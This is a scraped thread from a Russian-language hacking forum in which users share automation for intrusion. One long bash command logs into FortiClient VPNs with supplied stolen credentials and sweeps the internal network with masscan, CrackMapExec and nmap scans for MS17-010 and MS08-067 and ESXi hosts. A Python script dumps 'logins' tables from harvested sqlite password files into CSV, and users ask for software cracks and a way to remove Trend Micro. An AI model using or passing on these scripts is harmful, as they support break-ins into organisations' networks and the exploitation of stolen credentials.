-
XSS.stack #1 – первый литературный журнал от юзеров форума
Автоматизация работы в сети (список полезных скриптов)
На линукс кряка нет рабочего? за 3к брать его бред, а на триалке он бесполезен
Можно вот эту строку расшифровать?
ip route выдает типа:
нету vpn, что он должен сгрепить?
под винду есть кряк для последней версии? старый не работает
ppp0, и надо маску добавить 169.254.2.1/24
grep находит строки с регулярным выражением "vpn[0...
-E опция испльзования рег. выраж
-о опция вывода совподающих строк
{1,20} длина от 1 до 20 символов
эти команды хорошо сочитаются с forticlient vpn connect
например:
echo -e "1.1.1.1\n443" | forticlient vpn edit 1.1.1.1
forticlient vpn connect 1.1.1.1 -u test -password
делаем скан
forticlient vpn disconnect
next)
еще дорабатывется внедрением expect
echo -e "1.1.1.1\n443" | forticlient vpn edit 1.1.1.1
forticlient vpn connect 1.1.1.1 -u test -password
делаем скан
forticlient vpn disconnect
next)
еще дорабатывется внедрением expect
[-] FAIL: failed to detect MAC address of interface: "ppp0"
rsload torrent
с rsload не работает кряк у меня на последней версии
Для новичков может быть полезно. Немного автоматизации для ускорения проверки фортиков. Зависит от версии форти клиента подставляем forticlient vpn или fortivpn далее меняем креды в формате ip:port,user,pass на выходе получаем примерную картину сети.
CREDENTIALS="222.222.222.222:443,test,test123" && IFS=',' read -ra PARTS <<< "$CREDENTIALS" && IP_PORT="${PARTS[0]}" && USER="${PARTS[1]}" && PASS="${PARTS[2]}" && IFS=':' read -ra IP_PORT_PARTS <<< "$IP_PORT" && IP="${IP_PORT_PARTS[0]}" && PORT="${IP_PORT_PARTS[1]}" && { echo -e "$IP\n$PORT" | forticlient vpn edit "$IP"; expect -c "spawn forticlient vpn connect $IP -p $PORT -u $USER; expect \"password:\" {send \"$PASS\\r\"}; interact"; }
mkdir ./$IP
touch ./$IP/ranges.txt
cd ./$IP
ip route | awk '/vpn/ {print $1}' > ranges.txt;
sleep 2;
VPN_ADAPTER_NAME=$(ip route | grep -E -o "vpn[0-9A-Za-z]{1,20}" | uniq); sudo masscan -p445,443,3389,88 --open -iL ./ranges.txt -oX ./masscan_results --rate=2000 --ping --open-only --adapter $VPN_ADAPTER_NAME;
for port in 443 445 88 3389; do grep "$port" ./masscan_results | cut -d "=" -f3 | cut -d '"' -f2 > "${port}.txt"; wc -l "./${port}.txt"; done
cme smb ./445.txt
nmap -v -p 3389,445 -iL ./88.txt --script rdp-ntlm-info,smb-os-discovery -Pn -oN ./88_2.txt
nmap -p 443 -iL ./443.txt --script vmware-version -oN ./esxi.txt
nmap -v -p 445 -iL ./445.txt --script smb-vuln-ms08-067,smb-vuln-ms17-010 -oN ./ms17.txt
cd ..
forticlient vpn disconnect
CREDENTIALS="222.222.222.222:443,test,test123" && IFS=',' read -ra PARTS <<< "$CREDENTIALS" && IP_PORT="${PARTS[0]}" && USER="${PARTS[1]}" && PASS="${PARTS[2]}" && IFS=':' read -ra IP_PORT_PARTS <<< "$IP_PORT" && IP="${IP_PORT_PARTS[0]}" && PORT="${IP_PORT_PARTS[1]}" && { echo -e "$IP\n$PORT" | forticlient vpn edit "$IP"; expect -c "spawn forticlient vpn connect $IP -p $PORT -u $USER; expect \"password:\" {send \"$PASS\\r\"}; interact"; }
mkdir ./$IP
touch ./$IP/ranges.txt
cd ./$IP
ip route | awk '/vpn/ {print $1}' > ranges.txt;
sleep 2;
VPN_ADAPTER_NAME=$(ip route | grep -E -o "vpn[0-9A-Za-z]{1,20}" | uniq); sudo masscan -p445,443,3389,88 --open -iL ./ranges.txt -oX ./masscan_results --rate=2000 --ping --open-only --adapter $VPN_ADAPTER_NAME;
for port in 443 445 88 3389; do grep "$port" ./masscan_results | cut -d "=" -f3 | cut -d '"' -f2 > "${port}.txt"; wc -l "./${port}.txt"; done
cme smb ./445.txt
nmap -v -p 3389,445 -iL ./88.txt --script rdp-ntlm-info,smb-os-discovery -Pn -oN ./88_2.txt
nmap -p 443 -iL ./443.txt --script vmware-version -oN ./esxi.txt
nmap -v -p 445 -iL ./445.txt --script smb-vuln-ms08-067,smb-vuln-ms17-010 -oN ./ms17.txt
cd ..
forticlient vpn disconnect
Чем собраные sqlite файлы читать?
sqlitebrowser попробуй. С линукса им смотрел.
это очень не удобно, должен быть какой то парсер который в нормальный вид это приводит
@network1 bryanross, python one love:
na vyhode - kucha .csv files, po kotorym legko iskat
v *PWD.sqlite nuzhna tablica logins, v drugih - urls/downloads, nu i sovetuyu chere sqlite browser samim posmotret na paru baz, mb chto eshe v vashem keyse budet interesnoe
Python:
import csv
import sqlite3
import os
inputdir = '/media/veracrypt3/WORK/SQLITES/'
fileList = os.listdir(inputdir)
out = '/media/veracrypt3/WORK/TEXT/'
for db_file in fileList:
try:
# print(db_file)
conn = sqlite3.connect(inputdir + db_file , isolation_level=None,detect_types=sqlite3.PARSE_COLNAMES)
cursor = conn.cursor()
#cursor.execute("select * from logins;")
#cursor.execute("select * from urls;")
cursor.execute("select * from downloads;")
#with open(out+db_file+"_logins.csv", "w", newline='') as csv_file: # Python 3 version
#with open(out+db_file+"_urls.csv", "w", newline='') as csv_file: # Python 3 version
with open(out+db_file+"_downloads.csv", "w", newline='') as csv_file: # Python 3 version
csv_writer = csv.writer(csv_file)
csv_writer.writerow([i[0] for i in cursor.description]) # write headers
csv_writer.writerows(cursor)
print ("Success for " + db_file)
except Exception as e:
print ( e)
passna vyhode - kucha .csv files, po kotorym legko iskat
v *PWD.sqlite nuzhna tablica logins, v drugih - urls/downloads, nu i sovetuyu chere sqlite browser samim posmotret na paru baz, mb chto eshe v vashem keyse budet interesnoe
Поищи в гугл, вбил запрос - нашел какие то варианты, но проверяй на вири
давно пора форумом скинуться и будет счастье
думаю человек 10-20 точно собереться
поделись пожалуйста ссылкой на отчет
у кого есть скрипт, по удалению Trend Micro?